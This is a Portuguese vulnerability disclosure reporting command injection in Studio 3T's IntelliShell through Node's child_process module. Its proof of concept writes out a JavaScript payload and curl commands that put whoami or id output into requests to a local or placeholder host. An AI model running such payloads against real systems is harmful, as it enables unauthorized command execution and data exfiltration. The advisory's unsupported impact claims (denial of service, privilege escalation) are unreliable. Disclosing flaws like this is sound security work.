
Studio 3T v.2025.1.0
Software: Studio 3T v.2025.1.0
Relatório de Vulnerabilidade: Execução Remota de Comandos no Studio 3T
Visão Geral Uma vulnerabilidade crítica no Studio 3T versão 2025.1.0 e anteriores permite que um atacante remoto execute código arbitrário através de um payload malicioso que explora o módulo child_process no componente IntelliShell.
Detalhes Tipo de Vulnerabilidade: Execução Remota de Comandos Produto Afetado: Studio 3T, versão <= 2025.1.0 Componente Afetado: IntelliShell Tipo de Ataque: Remoto Impactos: Execução de Código: Sim Negação de Serviço: Sim Escalonamento de Privilégios: Sim
Descrição A vulnerabilidade permite que um atacante remoto execute comandos arbitrários do sistema operacional enviando um payload JavaScript malicioso através do IntelliShell, utilizando o módulo child_process. Esta é uma vulnerabilidade de execução cega, ou seja, nenhuma saída direta é retornada ao atacante. Vetor de Ataque
Estabeleça uma conexão com uma instância MongoDB. Envie um payload JavaScript malicioso via IntelliShell que utilize o módulo child_process para executar comandos arbitrários do sistema operacional.
Prova de Conceito Para verificar a vulnerabilidade, siga os passos abaixo:
Configure um servidor HTTP local:python3 -m http.server 80
Execute o seguinte payload JavaScript no IntelliShell: const {exec} = require('child_process'); exec('curl 127.0.0.1/$(whoami)', (error, stdout, stderr) => console.log(stdout));
Alternativamente, utilize o comando abaixo como vetor de verificação:curl http://site/$(id) Referências
Repositório GitHub do Studio 3T
CWE-78: Injeção de Comandos do SO
Mitigação Usuários: Atualize para uma versão corrigida do Studio 3T (se disponível) ou evite usar o IntelliShell com conexões MongoDB não confiáveis. Fornecedores: Restrinja ou sanitize as entradas do módulo child_process no IntelliShell para evitar execução não autorizada de comandos.
Agradecimentos Esta vulnerabilidade foi descoberta e reportada por Kaio Mendonca Pereira.